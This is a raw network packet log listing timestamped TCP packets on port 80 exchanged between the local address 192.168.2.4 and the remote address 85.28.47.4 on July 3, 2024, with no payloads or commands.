Jul 3, 2024 23:59:06.485178947 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.485188961 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.485208035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.485219002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.485223055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.485243082 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.485270977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.485280037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.485291004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.485301018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.485321045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.485336065 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.485388994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.485435963 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.485456944 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.485469103 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.485479116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.485488892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.485500097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.485512018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.485523939 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.485553026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.485579014 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.485610962 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.485624075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.485625029 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.485635042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.485652924 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.485665083 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.485743046 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.485759974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.485770941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.485784054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.485796928 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.485810041 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.485836029 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.486023903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.486037016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.486047029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.486063957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.486071110 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.486074924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.486083031 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.486087084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.486098051 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.486107111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.486124039 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.486124992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.486136913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.486148119 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.486154079 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.486176014 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.486197948 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.486290932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.486303091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.486319065 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.486330032 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.486330986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.486341953 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.486346006 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.486354113 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.486361980 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.486376047 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.486402035 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.486577034 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.486587048 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.486605883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.486617088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.486627102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.486632109 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.486639023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.486645937 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.486650944 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.486661911 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.486668110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.486691952 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.486704111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.486793995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.486805916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.486814976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.486825943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.486841917 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.486866951 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.486933947 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.486948013 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.486958027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.486983061 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.486995935 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.487045050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.487056971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.487066031 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.487076044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.487087011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.487095118 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.487098932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.487111092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.487117052 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.487117052 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.487123966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.487137079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.487137079 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.487158060 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.487176895 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.487422943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.487437010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.487448931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.487462997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.487478018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.487504005 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.487566948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.487581015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.487598896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.487608910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.487616062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.487620115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.487627983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.487632036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.487643957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.487654924 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.487679958 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.524056911 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.528920889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.705964088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.705990076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.706000090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.706032038 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.706056118 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.706105947 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.706115961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.706125975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.706135988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.706139088 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.706151009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.706163883 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.706187010 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.706280947 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.706291914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.706315041 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.706327915 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.706391096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.706402063 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.706410885 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.706427097 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.706454039 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.706513882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.706525087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.706533909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.706542969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.706552029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.706552982 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.706573009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.706593990 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.706732988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.706743002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.706751108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.706759930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.706768990 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.706772089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.706779003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.706785917 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.706790924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.706803083 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.706825972 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.706878901 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.706888914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.706907988 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.706929922 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.707110882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.707123041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.707130909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.707140923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.707149029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.707154036 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.707159996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.707171917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.707180023 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.707180977 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.707190990 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.707200050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.707204103 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.707210064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.707211971 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.707232952 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.707245111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.707617044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.707627058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.707634926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.707643986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.707652092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.707659006 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.707663059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.707674026 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.707683086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.707684040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.707695007 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.707695007 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.707705021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.707710981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.707715988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.707725048 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.707729101 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.707735062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.707745075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.707755089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.707777023 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.708123922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.708132982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.708142042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.708152056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.708158016 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.708162069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.708172083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.708183050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.708183050 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.708192110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.708203077 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.708204031 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.708225965 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.708240986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.708415985 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.708425999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.708434105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.708442926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.708456993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.708471060 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.708614111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.708678007 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.708688974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.708697081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.708705902 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.708714962 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.708724022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.708731890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.708735943 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.708741903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.708751917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.708760977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.708760977 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.708760977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.708772898 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.708774090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.708780050 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.708784103 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.708794117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.708801985 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.708807945 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.708811998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.708822012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.708831072 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.708832979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.708842039 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.708843946 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.708878040 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.708890915 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.709525108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.709536076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.709543943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.709553003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.709568024 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.709573030 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.709588051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.709589958 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.709598064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.709609032 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.709616899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.709625959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.709628105 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.709635973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.709645987 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.709654093 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.709655046 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.709667921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.709675074 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.709675074 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.709680080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.709690094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.709698915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.709703922 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.709711075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.709724903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.709726095 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.709733963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.709736109 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.709737062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.709737062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.709741116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.709793091 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.709820032 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.710381985 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.710392952 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.710401058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.710412025 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.710421085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.710422993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.710431099 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.710438013 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.710445881 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.710469961 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.710483074 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.800005913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.800051928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.800060987 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.800102949 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.800121069 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.800142050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.800153017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.800160885 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.800170898 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.800180912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.800188065 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.800205946 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.800218105 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.800316095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.800324917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.800334930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.800364017 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.800386906 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.800468922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.800478935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.800499916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.800508976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.800512075 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.800519943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.800529957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.800535917 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.800539970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.800550938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.800551891 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.800559998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.800580025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.800595045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.800834894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.800844908 CEST	80	49730	85.28.47.4	192.168.2.4
